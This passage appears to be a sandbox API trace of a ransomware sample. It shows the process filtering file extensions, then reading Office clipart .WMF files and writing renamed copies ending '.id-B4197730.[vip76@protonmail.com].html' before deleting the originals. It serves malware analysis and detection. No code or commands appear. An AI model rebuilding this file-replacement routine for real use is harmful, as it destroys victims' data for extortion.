	[0084.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0084.939] lstrlenW (lpString=".doc") returned 4
	[0084.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.939] lstrlenW (lpString=".docx") returned 5
	[0084.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.939] lstrlenW (lpString=".pdf") returned 4
	[0084.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.939] lstrlenW (lpString=".xls") returned 4
	[0084.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.940] lstrlenW (lpString=".xlsx") returned 5
	[0084.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.940] lstrlenW (lpString=".ppt") returned 4
	[0084.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0084.940] lstrlenW (lpString=".zip") returned 4
	[0084.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.940] lstrlenW (lpString=".rar") returned 4
	[0084.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.940] lstrlenW (lpString=".bz2") returned 4
	[0084.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.940] lstrlenW (lpString=".7z") returned 3
	[0084.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0084.940] lstrlenW (lpString=".dbf") returned 4
	[0084.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0084.940] lstrlenW (lpString=".1cd") returned 4
	[0084.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0084.940] lstrlenW (lpString=".jpg") returned 4
	[0084.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.940] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.940] lstrlenW (lpString="DD01586_.WMF") returned 12
	[0084.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.941] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=2324) returned 1
	[0084.941] CloseHandle (hObject=0x378) returned 1
	[0084.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220
	[0084.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.941] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.941] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.941] GetLastError () returned 0x0
	[0084.941] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x914, lpOverlapped=0x0) returned 1
	[0084.943] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x920, lpOverlapped=0x0) returned 1
	[0084.944] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.944] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.944] SetEndOfFile (hFile=0x380) returned 1
	[0084.944] CloseHandle (hObject=0x380) returned 1
	[0084.944] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.944] SetEndOfFile (hFile=0x378) returned 1
	[0084.945] CloseHandle (hObject=0x378) returned 1
	[0084.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1
	[0084.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0084.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0084.945] lstrlenW (lpString=".doc") returned 4
	[0084.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.946] lstrlenW (lpString=".docx") returned 5
	[0084.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.946] lstrlenW (lpString=".pdf") returned 4
	[0084.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.946] lstrlenW (lpString=".xls") returned 4
	[0084.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.946] lstrlenW (lpString=".xlsx") returned 5
	[0084.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.946] lstrlenW (lpString=".ppt") returned 4
	[0084.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0084.946] lstrlenW (lpString=".zip") returned 4
	[0084.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.946] lstrlenW (lpString=".rar") returned 4
	[0084.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.946] lstrlenW (lpString=".bz2") returned 4
	[0084.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.946] lstrlenW (lpString=".7z") returned 3
	[0084.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0084.946] lstrlenW (lpString=".dbf") returned 4
	[0084.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0084.946] lstrlenW (lpString=".1cd") returned 4
	[0084.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0084.946] lstrlenW (lpString=".jpg") returned 4
	[0084.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0084.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0084.946] lstrlenW (lpString=".doc") returned 4
	[0084.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.946] lstrlenW (lpString=".docx") returned 5
	[0084.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.947] lstrlenW (lpString=".pdf") returned 4
	[0084.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.947] lstrlenW (lpString=".xls") returned 4
	[0084.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.947] lstrlenW (lpString=".xlsx") returned 5
	[0084.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.947] lstrlenW (lpString=".ppt") returned 4
	[0084.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0084.947] lstrlenW (lpString=".zip") returned 4
	[0084.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.947] lstrlenW (lpString=".rar") returned 4
	[0084.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.947] lstrlenW (lpString=".bz2") returned 4
	[0084.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.947] lstrlenW (lpString=".7z") returned 3
	[0084.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0084.947] lstrlenW (lpString=".dbf") returned 4
	[0084.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0084.947] lstrlenW (lpString=".1cd") returned 4
	[0084.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0084.947] lstrlenW (lpString=".jpg") returned 4
	[0084.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.947] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.947] lstrlenW (lpString="DD01628_.WMF") returned 12
	[0084.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.948] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=19068) returned 1
	[0084.948] CloseHandle (hObject=0x378) returned 1
	[0084.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220
	[0084.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.949] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.949] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.949] GetLastError () returned 0x0
	[0084.949] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x4a7c, lpOverlapped=0x0) returned 1
	[0084.951] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x4a80, lpOverlapped=0x0) returned 1
	[0084.952] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.952] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.952] SetEndOfFile (hFile=0x380) returned 1
	[0084.952] CloseHandle (hObject=0x380) returned 1
	[0084.952] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.952] SetEndOfFile (hFile=0x378) returned 1
	[0084.953] CloseHandle (hObject=0x378) returned 1
	[0084.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1
	[0084.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0084.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0084.954] lstrlenW (lpString=".doc") returned 4
	[0084.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.954] lstrlenW (lpString=".docx") returned 5
	[0084.954] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.954] lstrlenW (lpString=".pdf") returned 4
	[0084.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.954] lstrlenW (lpString=".xls") returned 4
	[0084.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.954] lstrlenW (lpString=".xlsx") returned 5
	[0084.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.954] lstrlenW (lpString=".ppt") returned 4
	[0084.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0084.954] lstrlenW (lpString=".zip") returned 4
	[0084.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.954] lstrlenW (lpString=".rar") returned 4
	[0084.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.954] lstrlenW (lpString=".bz2") returned 4
	[0084.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.954] lstrlenW (lpString=".7z") returned 3
	[0084.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0084.954] lstrlenW (lpString=".dbf") returned 4
	[0084.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0084.954] lstrlenW (lpString=".1cd") returned 4
	[0084.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0084.955] lstrlenW (lpString=".jpg") returned 4
	[0084.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0084.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0084.955] lstrlenW (lpString=".doc") returned 4
	[0084.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.955] lstrlenW (lpString=".docx") returned 5
	[0084.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.955] lstrlenW (lpString=".pdf") returned 4
	[0084.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.955] lstrlenW (lpString=".xls") returned 4
	[0084.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.955] lstrlenW (lpString=".xlsx") returned 5
	[0084.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.955] lstrlenW (lpString=".ppt") returned 4
	[0084.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0084.955] lstrlenW (lpString=".zip") returned 4
	[0084.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.955] lstrlenW (lpString=".rar") returned 4
	[0084.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.955] lstrlenW (lpString=".bz2") returned 4
	[0084.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.955] lstrlenW (lpString=".7z") returned 3
	[0084.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0084.955] lstrlenW (lpString=".dbf") returned 4
	[0084.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0084.955] lstrlenW (lpString=".1cd") returned 4
	[0084.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0084.956] lstrlenW (lpString=".jpg") returned 4
	[0084.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.956] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.956] lstrlenW (lpString="DD01629_.WMF") returned 12
	[0084.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0085.990] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=580) returned 1
	[0086.001] CloseHandle (hObject=0x37c) returned 1
	[0086.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220
	[0086.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.014] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.014] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0086.014] GetLastError () returned 0x0
	[0086.014] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x244, lpOverlapped=0x0) returned 1
	[0086.015] WriteFile (in: hFile=0x320, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x250, lpOverlapped=0x0) returned 1
	[0086.016] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.016] WriteFile (in: hFile=0x320, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.016] SetEndOfFile (hFile=0x320) returned 1
	[0086.016] CloseHandle (hObject=0x320) returned 1
	[0086.016] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.016] SetEndOfFile (hFile=0x37c) returned 1
	[0086.017] CloseHandle (hObject=0x37c) returned 1
	[0086.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1
	[0086.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.018] lstrlenW (lpString=".doc") returned 4
	[0086.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.018] lstrlenW (lpString=".docx") returned 5
	[0086.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.018] lstrlenW (lpString=".pdf") returned 4
	[0086.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.018] lstrlenW (lpString=".xls") returned 4
	[0086.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.018] lstrlenW (lpString=".xlsx") returned 5
	[0086.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.018] lstrlenW (lpString=".ppt") returned 4
	[0086.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.018] lstrlenW (lpString=".zip") returned 4
	[0086.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.018] lstrlenW (lpString=".rar") returned 4
	[0086.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.018] lstrlenW (lpString=".bz2") returned 4
	[0086.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.018] lstrlenW (lpString=".7z") returned 3
	[0086.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.018] lstrlenW (lpString=".dbf") returned 4
	[0086.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.018] lstrlenW (lpString=".1cd") returned 4
	[0086.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.018] lstrlenW (lpString=".jpg") returned 4
	[0086.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
